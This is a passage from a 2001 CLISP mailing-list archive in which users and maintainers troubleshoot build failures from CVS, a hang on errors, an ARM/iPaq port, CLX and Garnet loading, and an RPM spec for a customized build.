,----[ Mon, 23 Apr 2001 07:43:51 -0700 ]
| Update of /cvsroot/clisp/clisp/modules/clx/new-clx/demos
| In directory usw-pr-cvs1:/tmp/cvs-serv1799
| 
| Modified Files:
|         clx-demos.lisp
| Log Message:
| getenv is in EXT, not SYS now
`----

I'll try a "make distclean" and work on from there.

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> * In message <20010423171551.S28537@hagbard.davep.org>
> * On the subject of "Re: [clisp-list] "Hanging" on compilation error? (Was: Problems building wildcard module)"
> * Sent on Mon, 23 Apr 2001 17:15:51 +0100
> * Honorable Dave Pearson <davep@davep.org> writes:
>
> On Mon, Apr 23, 2001 at 11:24:18AM -0400, Sam Steingold wrote:
> 
> > > Did a fix happen? I refreshed from CVS just now but compiling still dies
> > > as it did before:
> > 
> > it works for me since this morning. :-)
> 
> It might be useful to indicate what change might coincide with your
> morning so I'll know if I'm using your idea of "this morning" and any
> code that goes with it.

the change is in wildcard.lisp defpackage form.

> > > and hangs hogging the processor.
> > 
> > I cannot reproduce this.
> 
> I can reproduce this at will (although I'm rebuilding clisp right now
> with source pulled from CVS just a few moments ago, I'll let you know
> what happens once I've rebuilt and re-tested) like this:

please rm -rf the build directory before rebuilding, just to make
sure...

> ,----
> | davep@hagbard:~/temp$ cat foo.cl
> | (error "Boo!")
> | davep@hagbard:~/temp$ clisp -K full -a foo.cl
> | 
> | *** - Boo!
> `----

$ time clisp ~/foo.lisp 
 
"load" 
*** - boo!
 
 
real    0m0.187s
user    0m0.111s
sys     0m0.073s
$ time clisp -K full -a ~/foo.lisp 
 
"load" 
*** - boo!
 
 
real    0m0.203s
user    0m0.131s
sys     0m0.063s
$

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Dave Pearson schrieb:
> 
> I wonder of someone might be able to see where I'm going wrong when building
> clisp from sources pulled from CVS.
> 
> Each time I pull the sources I go into the build directory that was created
> when I did a configure on clisp (clisp/with-gcc-wall in this case) and issue
> a "make clean" followed by a "make".
> 
> The build system always dies after a while with:

> | chmod a+x clisp-link
> | test -d linkkit || mkdir linkkit
> | cd linkkit && ln -s ../modules.d modules.d
> | cd linkkit && ln -s ../modules.c modules.c
> | cd linkkit && ln -s ../clisp.h clisp.h
> | ln: clisp.h: File exists

this is impossible. you should have an empty linkkit dir.
if not delete linkkit/clisp.h.
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> * In message <20010423173456.U28537@hagbard.davep.org>
> * On the subject of "[clisp-list] Problem building clisp regarding clisp.h"
> * Sent on Mon, 23 Apr 2001 17:34:56 +0100
> * Honorable Dave Pearson <davep@davep.org> writes:
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> The build system always dies after a while with:
> 
> ,----
> | chmod a+x clisp-link
> | test -d linkkit || mkdir linkkit
> | cd linkkit && ln -s ../modules.d modules.d
> | cd linkkit && ln -s ../modules.c modules.c
> | cd linkkit && ln -s ../clisp.h clisp.h
> | ln: clisp.h: File exists
> | make: *** [linkkit] Error 1
> `----

I have known about this for quite a while, but assumed that it was "just
me" and did `rm -rf linkkit` here.

I will fix this.  You will have to remake your Makefile using makemake
(see `head -20 Makefile`) after remaking makemake using makemake.in (see
configure). 

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On Mon, Apr 23, 2001 at 01:19:59PM -0400, Sam Steingold wrote:

> > It might be useful to indicate what change might coincide with your
> > morning so I'll know if I'm using your idea of "this morning" and any
> > code that goes with it.
> 
> the change is in wildcard.lisp defpackage form.

Hmm, I'm not sure this tells me which CVS update should be responsible. But,
anyway, after a distclean it seems to be building past that.

The build is now dying on:

,----
| Compiling file /usr/local/src/clisp/with-gcc-wall/bindings/linuxlibc6/linux.lisp ...
| *** - COMMON-LISP:EVAL: the function delete-package is undefined
`----

> > I can reproduce this at will (although I'm rebuilding clisp right now
> > with source pulled from CVS just a few moments ago, I'll let you know
> > what happens once I've rebuilt and re-tested) like this:
> 
> please rm -rf the build directory before rebuilding, just to make
> sure...

Totally nuke the directory specified when I do the initial configure? Ok,
I'll give that a shot.

> [SNIP examples of it working for Sam]

Assuming that my total nuke and build test doesn't help, are there some
obvious environmental differences I should be looking for?

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On Mon, Apr 23, 2001 at 01:19:59PM -0400, Sam Steingold wrote:

> > I can reproduce this at will (although I'm rebuilding clisp right now
> > with source pulled from CVS just a few moments ago, I'll let you know
> > what happens once I've rebuilt and re-tested) like this:
> 
> please rm -rf the build directory before rebuilding, just to make sure...

Right, I totally nuked the build directory and built from scratch. The build
died like this:

,----
| Compiling file /usr/local/src/clisp/with-gcc-wall/bindings/linuxlibc6/linux.lisp ...
| *** - COMMON-LISP:EVAL: the function delete-package is undefined
`----

and the hang/hog happened. It tool a "killall lisp.run" to get my prompt
back.

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> * In message <20010423221502.E28537@hagbard.davep.org>
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> * Sent on Mon, 23 Apr 2001 22:15:02 +0100
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>
> ,----
> | Compiling file /usr/local/src/clisp/with-gcc-wall/bindings/linuxlibc6/linux.lisp ...
> | *** - COMMON-LISP:EVAL: the function delete-package is undefined
> `----

I fixed and tested this.
please
        $ cvs up modules/bindings/linuxlibc6/linux.lisp
and make sure it is linked to
        with-gcc-wall/bindings/linuxlibc6/linux.lisp

> and the hang/hog happened. It tool a "killall lisp.run" to get my
> prompt back.

I do not observe this, either before or after my fix.
I would appreciate it if could create a reproducible test case, i.e., a
stand-alone file foo.lisp such that
        $ clisp -norc -c foo.lisp
hangs/hogs.
Thanks.

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On Tue, Apr 24, 2001 at 10:53:26AM -0400, Sam Steingold wrote:

> > ,----
> > | Compiling file /usr/local/src/clisp/with-gcc-wall/bindings/linuxlibc6/linux.lisp ...
> > | *** - COMMON-LISP:EVAL: the function delete-package is undefined
> > `----
> 
> I fixed and tested this.

Confirmed here. Thanks.

> > and the hang/hog happened. It tool a "killall lisp.run" to get my
> > prompt back.
> 
> I do not observe this, either before or after my fix.

The fix you mention above? It would seem unlikely that it would have
anything to do with it. As I think I've already demonstrated the hang
problem seems to be when an `error' is thrown and clisp has been called as a
"batch" process.

> I would appreciate it if could create a reproducible test case, i.e., a
> stand-alone file foo.lisp such that
>         $ clisp -norc -c foo.lisp
> hangs/hogs.

See <20010423171551.S28537@hagbard.davep.org> for one example of a
reproducible test case. If it's compilation you're interested in then this:

,----[ foo.lisp ]
| )
`----

is the smallest possible lisp file that causes the hang when compiled.

IOW, what I'm observing isn't a compiler problem, it's a problem with clisp
hanging when an `error' is thrown.

Note that 2.25.1 doesn't demonstrate this version, clisp built from current
CVS does.

As I asked in <20010423212446.C28537@hagbard.davep.org>, are there some
obvious environmental differences I should be looking for? Failing that, is
there some useful way I can check what clisp is doing at the point that it
hangs during an error?

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> * In message <20010424164521.G4029@hagbard.davep.org>
> * On the subject of "Re: [clisp-list] "Hanging" on compilation error? (Was: Problems building wildcard module)"
> * Sent on Tue, 24 Apr 2001 16:45:21 +0100
> * Honorable Dave Pearson <davep@davep.org> writes:
>
> IOW, what I'm observing isn't a compiler problem, it's a problem with
> clisp hanging when an `error' is thrown.
> Note that 2.25.1 doesn't demonstrate this version, clisp built from
> current CVS does.

yep - this is a linux-specific bug in eval.d which I somehow introduced
with my handler-bind patch.  I think I fixed this bug now.
the test case is
$ clisp -q -norc -x '(/ 0)'

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On Wed, Apr 25, 2001 at 04:10:31PM -0400, Sam Steingold wrote:

> > IOW, what I'm observing isn't a compiler problem, it's a problem with
> > clisp hanging when an `error' is thrown. Note that 2.25.1 doesn't
> > demonstrate this version, clisp built from current CVS does.
> 
> yep - this is a linux-specific bug in eval.d which I somehow introduced
> with my handler-bind patch. I think I fixed this bug now.

Confirmed at this end. Thanks.

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> * In message <002801c0cd8a$7567ed20$a681cb82@ist.psu.edu>
> * On the subject of "[clisp-list] clisp on PPC linux"
> * Sent on Wed, 25 Apr 2001 09:20:12 -0400
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> I am trying to obtain a running Clisp, CLX, Garnet combo on my
> rs/6000's running SuSE linux.  Does anyone know of a port that would
> work?

Please download the CLISP sources and follow the instructions.

I do not have an access to such a machine to build CLISP there.
Can you give me access?

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Hi there,

I've compiled clisp on my RedHat 7.1 linux box.

http://www.sinc.sunysb.edu/stu/dlin/clisp/

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Dear all,

Has anyone (apart from me) tried to convince clisp to play ball with
common-lisp-controller[*]? I don't think it's terribly deep (basically,
it involves setting up a couple of logical hosts for pathnames, and
ensuring that defsystem is loaded) but I haven't managed; there seems
to be some discrepancy between the ways clisp and cmucl/sbcl treat
logical pathnames.

The last time I tried was in February, so this may have changed;
before trying again, I'd want to know that no-one else is quietly
sitting with a correctly-functioning common-lisp-controllerized clisp.

Cheers,

Christophe

[*] http://ww.telent.net/cliki/common-lisp-controller
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hi,

I have gotten a question from some people who wish to use some of my
lisp-code on OS/2, and I have noted that clisp has OS/2 in it's list
of succesful ports.  Has there been any builds for OS/2 lately and
if so, is it an easy compile?  I do not have access to OS/2 myself,
but the code works like a charm with clisp on Un*x-systems so I was
hoping clisp might work out here.

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> * In message <20010429224857.A18978@cam.ac.uk>
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> basically, it involves setting up a couple of logical hosts

I suspect you should look at
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> > * In message <20010429224857.A18978@cam.ac.uk>
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> > basically, it involves setting up a couple of logical hosts
> 
> I suspect you should look at
> http://clisp.sourceforge.net/impnotes.html#parsename

Isn't *PARSE-NAMESTRING-ANSI* set to T when Clisp is started with the
ANSI switch?

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> * In message <200104302009.QAA15373@octagon.mrl.nyu.edu>
> * On the subject of "Re: [clisp-list] common-lisp-controller"
> * Sent on Mon, 30 Apr 2001 16:09:06 -0400
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> > I suspect you should look at
> > http://clisp.sourceforge.net/impnotes.html#parsename
> 
> Isn't *PARSE-NAMESTRING-ANSI* set to T when Clisp is started with the
> ANSI switch?

yeah - so?


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> > * In message <200104302009.QAA15373@octagon.mrl.nyu.edu>
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> yeah - so?

Just asking.  It is not so clear in the docs.  At least not in the
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> * In message <002d01c0cf24$6d8cf320$a681cb82@ist.psu.edu>
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this is the right place to ask the question.

> I am in need of a working clisp/clx/garnet on x86 Linux but I cannot
> seem to get nclx working properly (mit-clx is even more problematic).
> It compiles fine but complains that there is no package XLIB.  Do any
> of you know where I might be able to find this XLIB package?

You did not give us enough information.  Sorry.

Where did you get the sources?
Is it the release (2.25.1)?  CVS (pre-2.26)?
What did you do to compile CLISP?
what is the exact error message you are getting
(and what exactly did you do to get it)?

Thanks.

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Hi.

I'm am working on a PhD dissertation with Lisp and GA. 
I need to replace my system.  I plan to use a Linux as the 
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Which would clisp run better a single processor, 1.2-1.3 MHZ, or
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<P><FONT SIZE=2>Hi.</FONT>
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<P><FONT SIZE=2>I'm am working on a PhD dissertation with Lisp and GA. </FONT>
<BR><FONT SIZE=2>I need to replace my system.&nbsp; I plan to use a Linux as the </FONT>
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<BR><FONT SIZE=2>Which would clisp run better a single processor, 1.2-1.3 MHZ, or</FONT>
<BR><FONT SIZE=2>a dual processor, 700-800 MHZ?&nbsp; </FONT>
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> * In message <B4CA1F5D8D23D411ADC7009027E791BF013ED226@pens0394.cnet.navy.Mil>
> * On the subject of "[clisp-list] System"
> * Sent on Tue, 1 May 2001 11:48:54 -0500
> * Honorable "Justice, Randy -CONT\(DYN\)" <Randy.Justice@cnet.navy.mil> writes:
>
> Which would clisp run better a single processor, 1.2-1.3 MHZ, or
> a dual processor, 700-800 MHZ?  

I am not sure - but I would think that a fast single processor is
better, since CLISP is single-threaded.

YMMV, caveat emptor &c

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> * In message <B4CA1F5D8D23D411ADC7009027E791BF013ED231@pens0394.cnet.navy.Mil>
> * On the subject of "RE: [clisp-list] System"
> * Sent on Tue, 1 May 2001 15:53:16 -0500 
> * Honorable "Justice, Randy -CONT\(DYN\)" <Randy.Justice@cnet.navy.mil> writes:
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> I'm currently running a 300 MHZ system and it takes 
> about 2 days (48 hours) to run a simple test. 

ouch!

> Do you know of a method to "compile" lisp to machine code?

CMUCL (http://cmucl.cons.org) has a _very_ sophisticated native
compiler. it even does MT on Linux.

When I was running very complex Lisp computations, I debugged the code
using CLISP and ran the production code with CMUCL. YMMV.

Please do not move the discussion out of the list, as long as it is
related to CLISP.  Other users might benefit from our discussion.

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>>>>> "Sam" == Sam Steingold <sds@gnu.org> writes:

    >> * In message <B4CA1F5D8D23D411ADC7009027E791BF013ED226@pens0394.cnet.navy.Mil>
    >> * On the subject of "[clisp-list] System"
    >> * Sent on Tue, 1 May 2001 11:48:54 -0500
    >> * Honorable "Justice, Randy -CONT\(DYN\)" <Randy.Justice@cnet.navy.mil> writes:
    >> 
    >> Which would clisp run better a single processor, 1.2-1.3 MHZ, or
    >> a dual processor, 700-800 MHZ?  

    Sam> I am not sure - but I would think that a fast single processor is
    Sam> better, since CLISP is single-threaded.

But I think I'd choose the dual processor 700 MHz system over a
1.2-1.3 MHz system anyday.  Even my old 4 MHz Z80 system was faster
than that!  :-)

But I agree with Sam.  Also, in another mail Sam mentions MT with
CMUCL.  Since it doesn't use OS threads, you won't see any gains with
the multiprocessor system either.  All threads would run on the one
processor.

Ray



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On Fri, Apr 27, 2001 at 10:14:51AM -0400, isaac councill wrote:
> Hello,
> 
> I'm not sure if this is the right place for this question, but I did not know where else to go.  I am in need of a working clisp/clx/garnet on x86 Linux but I cannot seem to get nclx working properly (mit-clx is even more problematic).  It compiles fine but complains that there is no package XLIB.  Do any of you know where I might be able to find this XLIB package?
> 
> thank you,
> Isaac Councill

Hi

If you have compiled CLISP correctly, specifying the clx module to
compile, you should not get the message.  Are you starting CLISP with
"clisp -K full" ?  The default is to use the base system, which does
not include the modules.

Regards,
Peter


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> > Which would clisp run better a single processor, 1.2-1.3 MHZ, or
> > a dual processor, 700-800 MHZ?  
> 
> I am not sure - but I would think that a fast single processor is
> better, since CLISP is single-threaded.
> 
> YMMV, caveat emptor &c

Sam is right.  YMMV.  I run CMUCL and CLisp on a dual processor
Celeron 533.  Maybe the Lisp is not as fast, but the second processor
does take care of other heavy programs (e.g. StarOffice and VMWare).

So you have to trade-off all these factors.  If your program has long,
processor intensive runs (as mine), I would tend to go bi-processor.

Cheers


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I disovered yesterday that I was overlooking something pretty obvious.  I
needed to load "clx-preload.lsp" first which makes the XLIB package (now I
can get the demo qix to work).  This is not to say that my problem is
solved, however; I still cannot get garnet to load.
    When I load "garnet-loader.lisp" after I load
"garnet-prepare-compile.lisp" and "clx-preload.lsp" it loads garnet but
after it says "loading file .../clx.lsp" I get the error message:

***-SYMBOL-FUNCTION: undefined function CLOSE-DOWN-MODE-SETTER
Break XLIB[10]:

The line in clx.lsp that uses CLOSE-DOWN-MODE-SETTER is:

(setf
    (fdefinition '(SETF CLOSE-DOWN-MODE))     #'CLOSE-DOWN-MODE-SETTER

and that is the first in a series of lines following the above pattern, all
no doubt would produce similar error messages if loaded.  I don't know yet
if I am just missing code (whether it is not on my machine or if I am
overlooking something else) or if the XLIB package is not doing its thing.
Advice would be appreciated.
    To answer your previous questions regarding my clisp, I am using clisp
version 2000-03-06.  I did not have to do anything strange to compile it,
just follow the unix directions (I think those are standard in the different
clisp versions - forgive me if I am wrong).  I did edit the makefile as
instructed to build nclx instead of doing the build separately.

Thank you,
Isaac Councill

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> > * In message <002d01c0cf24$6d8cf320$a681cb82@ist.psu.edu>
> > * On the subject of "[clisp-list] nclx for clisp install problem"
> > * Sent on Fri, 27 Apr 2001 10:14:51 -0400
> > * Honorable "isaac councill" <igc2@psu.edu> writes:
> >
> > I'm not sure if this is the right place for this question, but I did
> > not know where else to go.
>
> this is the right place to ask the question.
>
> > I am in need of a working clisp/clx/garnet on x86 Linux but I cannot
> > seem to get nclx working properly (mit-clx is even more problematic).
> > It compiles fine but complains that there is no package XLIB.  Do any
> > of you know where I might be able to find this XLIB package?
>
> You did not give us enough information.  Sorry.
>
> Where did you get the sources?
> Is it the release (2.25.1)?  CVS (pre-2.26)?
> What did you do to compile CLISP?
> what is the exact error message you are getting
> (and what exactly did you do to get it)?
>
> Thanks.
>
> --
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> * In message <003d01c0cff6$3ec3d5e0$a681cb82@ist.psu.edu>
> * On the subject of "Re: [clisp-list] nclx for clisp install problem"
> * Sent on Sat, 28 Apr 2001 11:16:47 -0400
> * Honorable "isaac councill" <igc2@psu.edu> writes:
>
>     To answer your previous questions regarding my clisp, I am using
> clisp version 2000-03-06.  

The fact that you are _loading_ clx.lsp and clx-preload.lsp means that
you are doing something very wrong.

Please follow these steps:

1. download CLISP 2.25.1 (2001-04-06)
2. build it with this command:
   $ ./configure --with-module=clx/new-clx --build build-dir
3. install it with this command:
   # cd build-dir; make install
4. run it like this to build garnet (or better follow garnet
   instructions - I don't use it!):
   $ clisp -K full -norc -i garnet-prepare-compile.lisp

CLISP builds 2 "linking sets" - "base" and "full".  "base" has just the
bare-bones CLISP, while "full" contains all the modules you specified
(like nclx in my example above).  You should _NOT_ load modules at run
time, instead you should use the "full" linking set.

If you lack root privileges and cannot install CLISP, you can still run
the full image using this command:

FOO=/usr/local/src/clisp/build-dir; # whatever
${FOO}/full/lisp.run -B ${FOO} -M ${FOO}/full/lispinit.mem


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  Has anybody compiled Clisp for a Compaq iPaq running Linux?
  It has an Intel StrongARM processor and there seems to be
  (at least some) ARM support in the Clisp sources, but my
  first attempt showed it doesn't compile out of the box.
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> * In message <20010508133125.A27807@cyberell.com>
> * On the subject of "[clisp-list] CLISP on iPaq running Linux?"
> * Sent on Tue, 8 May 2001 13:31:25 +0300
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>
>   Has anybody compiled Clisp for a Compaq iPaq running Linux?
>   It has an Intel StrongARM processor and there seems to be
>   (at least some) ARM support in the Clisp sources, but my
>   first attempt showed it doesn't compile out of the box.

you do not give enough information, so I guess I will have to give you
the standard advice: try compiling with -DSAFETY=3.


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On Tue, May 08, 2001 at 11:57:05AM -0400, Sam Steingold wrote:
> > * In message <20010508133125.A27807@cyberell.com>
> > * On the subject of "[clisp-list] CLISP on iPaq running Linux?"
> > * Sent on Tue, 8 May 2001 13:31:25 +0300
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> >
> >   Has anybody compiled Clisp for a Compaq iPaq running Linux?
> >   It has an Intel StrongARM processor and there seems to be
> >   (at least some) ARM support in the Clisp sources, but my
> >   first attempt showed it doesn't compile out of the box.
> 
> you do not give enough information, so I guess I will have to give you
> the standard advice: try compiling with -DSAFETY=3.

gcc -O -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -DUNICODE -c spvw.c
In file included from spvw.d:21:
lispbibl.d:1426: #error "Preferred integer sizes depend on CPU -- GröÃen intBWsize, intWLsize, intBWLsize neu einstellen!"
lispbibl.d:1600: #error "Preferred digit size depends on CPU -- GröÃe intDsize neu einstellen!"
make: *** [spvw.o] Error 1

gcc -dumpspecs gives, among other data, the following defines:
-Dunix -D__arm__ -Dlinux -Asystem(unix) -Asystem(posix) -Acpu(arm) -Amachine(arm) -D__ELF__

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> * In message <20010508193859.A19199@cyberell.com>
> * On the subject of "Re: [clisp-list] CLISP on iPaq running Linux?"
> * Sent on Tue, 8 May 2001 19:38:59 +0300
> * Honorable Ola Rinta-Koski <ola@cyberell.com> writes:
>
> gcc -O -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fo=
mit-frame-pointer -Wno-sign-compare -O2 -DUNICODE -c spvw.c
> In file included from spvw.d:21:
> lispbibl.d:1426: #error "Preferred integer sizes depend on CPU -- Gr=C3=
=B6=C3en intBWsize, intWLsize, intBWLsize neu einstellen!"
> lispbibl.d:1600: #error "Preferred digit size depends on CPU -- Gr=C3=B6=
=C3e intDsize neu einstellen!"
> make: *** [spvw.o] Error 1
>=20
> gcc -dumpspecs gives, among other data, the following defines:
> -Dunix -D__arm__ -Dlinux -Asystem(unix) -Asystem(posix) -Acpu(arm) -Amach=
ine(arm) -D__ELF__

please try this patch:

--- lispbibl.d.~1.185.~ Tue Apr 10 18:49:13 2001
+++ lispbibl.d  Tue May  8 13:16:20 2001
@@ -157,7 +157,7 @@
 #if defined(__vax__)
   #define VAX
 #endif
-#if defined(arm) || defined(__arm)
+#if defined(arm) || defined(__arm) || defined(__arm__)
   #define ARM
 #endif
 #ifdef WIN32

--=20
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All,
this is a pretty general question but I haven't seem to have found any documentation on it anywhere.
How do I find out the arguments to all the socket-* calls?
I know there are lots of online docs on regular calls but I havent found
any for the sockets.
Thanks in advance,

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> * In message <20010508171621.B1616@speakeasy.net>
> * On the subject of "[clisp-list] documentation on socket calls"
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> How do I find out the arguments to all the socket-* calls?

http://clisp.sourceforge.net/impnotes.html#socket

bookmark this page!

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Thanks,
I knew I must have overlooked something ;-).

--adam

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> > * Sent on Tue, 8 May 2001 17:16:21 -0400
> > * Honorable Adam Guyot <aguyot@speakeasy.net> writes:
> >
> > How do I find out the arguments to all the socket-* calls?
> 
> http://clisp.sourceforge.net/impnotes.html#socket
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> bookmark this page!
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> * In message <20010509103210.A28242@cyberell.com>
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> * Sent on Wed, 9 May 2001 10:32:10 +0300
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>   Not much luck:
> make: *** [spvw.o] Error 1

Please get the current CLISP version from the CVS.
Bruno just fixed this (or so we hope :-)
You will find the instructions on http://clisp.cons.org.

PS. please keep clisp-list in CC.
    no help whatsoever will be provided via personal e-mail.
    you must either use the mailing lists or the sourceforge bug
    tracking facilities.

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On Wed, May 09, 2001 at 03:16:15PM -0400, Sam Steingold wrote:
> > * In message <20010509103210.A28242@cyberell.com>
> > * On the subject of "Re: [clisp-list] CLISP on iPaq running Linux?"
> > * Sent on Wed, 9 May 2001 10:32:10 +0300
> > * Honorable Ola Rinta-Koski <ola@cyberell.com> writes:
> >
> >   Not much luck:
> > make: *** [spvw.o] Error 1
> 
> Please get the current CLISP version from the CVS.
> Bruno just fixed this (or so we hope :-)

  Now the compilation stops here:

gcc -O -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -DUNICODE -c lisparit.c
In file included from lisparit.d:22:
arilev1.d:261: ariarm.c: No such file or directory
make: *** [lisparit.o] Error 1
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> * In message <20010510122543.A7525@cyberell.com>
> * On the subject of "Re: [clisp-list] CLISP on iPaq running Linux?"
> * Sent on Thu, 10 May 2001 12:25:43 +0300
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>
> > Please get the current CLISP version from the CVS.
> > Bruno just fixed this (or so we hope :-)
> 
>   Now the compilation stops here:

don't despair - note that each time you get a little farther!

> gcc -O -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -DUNICODE -c lisparit.c
> In file included from lisparit.d:22:
> arilev1.d:261: ariarm.c: No such file or directory
> make: *** [lisparit.o] Error 1

you forgot the original advice - add -DSAFETY=3 to CFLAGS in the
generated Makefile.
we do not have assembly for ARM, and SAFETY=3 disables assembly.

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On Thu, May 10, 2001 at 09:42:56AM -0400, Sam Steingold wrote:
> > * In message <20010510122543.A7525@cyberell.com>
> > * On the subject of "Re: [clisp-list] CLISP on iPaq running Linux?"
> > * Sent on Thu, 10 May 2001 12:25:43 +0300
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> >
> > > Please get the current CLISP version from the CVS.
> > > Bruno just fixed this (or so we hope :-)
> > 
> >   Now the compilation stops here:
> 
> don't despair - note that each time you get a little farther!

  Indeed. This time I got as far as the linker:
gcc -O -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -DUNICODE -DSAFETY=3 -x none spvw.o spvwtabf.o spvwtabs.o spvwtabo.o eval.o control.o encoding.o pathname.o stream.o socket.o io.o array.o hashtabl.o list.o package.o record.o sequence.o charstrg.o debug.o error.o misc.o time.o predtype.o symbol.o lisparit.o unixaux.o modules.o libsigsegv.a libintl.a libiconv.a libreadline.a  -lncurses -ldl  -o lisp.run

  but fell on undefined references to the following:

  divu_3216_1616_ mulu32_ 
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> * In message <20010510122543.A7525@cyberell.com>
> * On the subject of "Re: [clisp-list] CLISP on iPaq running Linux?"
> * Sent on Thu, 10 May 2001 12:25:43 +0300
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>
>   Now the compilation stops here:
> 
> gcc -O -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -DUNICODE -c lisparit.c
> In file included from lisparit.d:22:
> arilev1.d:261: ariarm.c: No such file or directory
> make: *** [lisparit.o] Error 1

this is strange.  ariarm.c should have been generated from ariarm.d.
please look at src/makemake.in (search for ariarm).
Maybe you could debug why $cpu is not set to "arm"?
(otherwise "ariarm" is added to $ARI_ASMS).
Debugging a shell script is simple: you add " -xv" to "#!/bin/sh" on the
first line, redirect the extensive output to a file, and examine it with
Emacs.

Thanks for your help!

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On Thu, May 10, 2001 at 12:27:56PM -0400, Sam Steingold wrote:
> > * In message <20010510122543.A7525@cyberell.com>
> > * On the subject of "Re: [clisp-list] CLISP on iPaq running Linux?"
> > * Sent on Thu, 10 May 2001 12:25:43 +0300
> > * Honorable Ola Rinta-Koski <ola@cyberell.com> writes:
> >
> >   Now the compilation stops here:
> > 
> > gcc -O -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -DUNICODE -c lisparit.c
> > In file included from lisparit.d:22:
> > arilev1.d:261: ariarm.c: No such file or directory
> > make: *** [lisparit.o] Error 1
> 
> this is strange.  ariarm.c should have been generated from ariarm.d.
> please look at src/makemake.in (search for ariarm).
> Maybe you could debug why $cpu is not set to "arm"?

  In makemake, this fails to set it:
if [ "$host_cpu" = arm -o $TSYS = acorn ] ; then
  cpu=arm
fi

  because $host_cpu is 'armv4l'.

  PS:
  I should note that I'm not actually compiling Clisp on a real iPaq,
  but rather on the public development machine set up by handhelds.org
  as skiffcluster[1-4].handhelds.org; they are used to make the
  handhelds.org iPaq Linux distribution, I believe, so for all intents
  and purposes they should behave the same.
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Hi!


I am trying to generate an RPM for a RedHat 7.0 machine of an old
version of clisp (2000-03-06) WITH added functionnalities and I
encounter some problems that I hope someone can help me with.

I used an existing .spec file and I modified it according to my needs.
Basically the procedure is the well know
./configure
make
make install


%prep
%setup -q -n %{name}-2000-03-06 -a 1
%patch -p1

%build
./configure --prefix=%{_prefix} --fsstnd=redhat

cd src
./makemake  --prefix=%{_prefix} --with-readline --with-nogettext
--with-dynamic-ffi > Makefile
make config.lsp
make

%install
rm -rf %{buildroot}
mkdir %{buildroot}
cd src
make install_root=%{buildroot} install




The fact is some functions are added into the core of Clisp. I am not
the one wro wrote them, I know nothing about Clisp and I am just
following the instruction left by the guy before he got retired.


Basically here are the modifications:

%prep
%setup -q -n %{name}-2000-03-06 -a 1
%patch -p1

%build
./configure --prefix=%{_prefix} --fsstnd=redhat

cd src
./makemake  --prefix=%{_prefix} --with-readline --with-nogettext
--with-dynamic-ffi > Makefile
make config.lsp
make
cp lispinit.mem lispinit.mem.raw
cp lisp.run lisp.run.raw
cp ../ffi/* .

echo -e "echo \" \"\n/usr/lib/clisp/base+cfun/lisp.run -M
/usr/lib/clisp/base+cfun/lispinit.mem -i /usr/lib/clisp/ffi/psinit" >
clispcp
chmod 755 clispcp

./clisp-link create-module-set cfun lfun.c
cc -O -c cfun.c
cd cfun
ln -s ../cfun.o cfun.o

cd ..
ar r  libcfun.a cfun.o
cp libcfun.a /usr/lib
cp link.sh ./cfun
./base/lisp.run -M base/lispinit.mem -c lfun.lsp
./clisp-link add-module-set cfun base base+cfun
./base+cfun/lisp.run -M base+cfun/lispinit.mem -i lfun  -Efile
ISO-8859-1 -norc -x  "(load \"comstart\") (compile-file \"psinit-ffi\")
(compile-file \"psinit\") (compile-file \"net\") (compile-file
\"smail\") (bye)"


echo -e "echo \"
\"\n$RPM_BUILD_DIR/%{name}-2000-03-06/src/base+cfun/lisp.run -M
$RPM_BUILD_DIR/%{name}-2000-03-06/src/base+cfun/lispinit.mem -i
$RPM_BUILD_DIR/%{name}-2000-03-06/src/comstart -Efile ISO-8859-1 -norc
-x \"(saveinitmem) (exit)\" " > clbfni

./clbfni

%install
rm -rf %{buildroot}
mkdir %{buildroot}
cd src
make install_root=%{buildroot} install
cp -r ./base+cfun/ %{buildroot}/%{_libdir}/%{name}
cp -r clispcp %{buildroot}/usr/bin

cp libcfun.a       %{buildroot}/%{_libdir}




My former colleague never used the install procedure. He kept all the
files at his disposition, that was a choice of him. When I follow the
procedure until the install section, I obtain an image (cl) that works
perfectly.
When I run the install procedure, it seems that the memory core of clisp
is then modified and it stops to work:



The makefile for install-bin:

install-bin : lisp.run lispinit.mem clisp.c force
        if [ ! -d $(install_root)$(prefix) ] ; then mkdir
$(install_root)$(prefix) ; fi
        if [ ! -d $(install_root)$(exec_prefix) ] ; then mkdir
$(install_root)$(exec_prefix) ; fi
        if [ ! -d $(install_root)$(libdir) ] ; then mkdir
$(install_root)$(libdir) ; fi
        if [ ! -d $(install_root)$(lisplibdir) ] ; then mkdir
$(install_root)$(lisplibdir) ; fi
        if [ ! -d $(install_root)$(lisplibdir)/data ] ; then mkdir
$(install_root)$(lisplibdir)/data ; fi
        $(INSTALL_DATA) data/UnicodeData.txt
$(install_root)$(lisplibdir)/data/UnicodeData.txt
        if [ ! -d $(install_root)$(lisplibdir)/linkkit ] ; then mkdir
$(install_root)$(lisplibdir)/linkkit ; fi
        (cd $(install_root)$(lisplibdir) && rm -rf base full)
        mkdir $(install_root)$(lisplibdir)/base
        mkdir $(install_root)$(lisplibdir)/full
        for f in clisp-link linkkit/modules.d linkkit/modules.c
linkkit/clisp.h
base/* full/*; do cp -p $$f $(install_root)$(lisplibdir)/$$f; done
        if [ ! -d $(install_root)$(bindir) ] ; then mkdir
$(install_root)$(bindir) ; fi
        $(CC) $(CFLAGS) $(CLFLAGS) -DLISPLIBDIR='"$(lisplibdir)"'
-DLOCALEDIR='"$(localedir)"' clisp.c -o $(install_root)$(bindir)/clisp




This gives during the installation process:

...
;;  Loading file /usr/src/redhat/BUILD/clisp-2000-03-06/src/net.fas ...
;;  Loading of file /usr/src/redhat/BUILD/clisp-2000-03-06/src/net.fas
is finished.;;  Loading file
/usr/src/redhat/BUILD/clisp-2000-03-06/src/smail.fas ...
;;  Loading of file /usr/src/redhat/BUILD/clisp-2000-03-06/src/smail.fas
is finished.
;; Loading of file
